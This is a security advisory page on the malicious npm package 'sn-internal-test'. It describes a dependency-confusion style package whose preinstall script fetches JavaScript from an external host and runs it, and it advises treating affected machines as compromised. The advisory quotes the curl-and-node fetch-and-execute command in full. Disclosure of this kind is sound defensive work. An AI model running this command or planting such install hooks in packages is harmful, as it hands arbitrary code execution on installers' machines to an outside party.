sn-internal-test
Affected
- introduced
0(semver)
Fixed versions
None listed
Fix
No fixed version is listed.
Advisory
Also known as: GHSA-v675-j7jw-p6rm
Malicious package Its source marks this package as malicious: it is not a vulnerability in a legitimate one.
Malicious code in sn-internal-test (npm)
---
_-= Per source details. Do not edit below this line.=-_
Source: amazon-inspector (215bae963612bf6e45ac8a32644e51b297c72d021048aa58a58fb0a5d0cb396d)
package.json declares a preinstall lifecycle script that runs curl https://poc.amanrawat.com/hehe.js -o index.js && node index.js. On any npm install of this package, the installer's machine fetches an unauthenticated, unpinned, mutable JavaScript file from an external author-controlled host and immediately executes it under Node.js with the installer's user privileges, overwriting the package's own index.js. The package describes itself as 'This is our internal app for testing' but is published to the public npm registry with no library functionality — the entire install-time effect is the remote fetch-and-execute. Whatever bytes are served at https://poc.amanrawat.com/hehe.js at install time become arbitrary code running on the installer's machine. The shape is consistent with a dependency-confusion proof-of-concept or active dropper: an internal-sounding name on public npm whose sole behavior is to pull and run remote code.
Source: ghsa-malware (911b6003b52604acc4b2710df9f978bb93124ca9ffd558f41c6150ce5bb4dd4b)
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Not rated by the source.
0 (semver)None listed
No fixed version is listed.
Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: OpenSSF Malicious Packages · Apache-2.0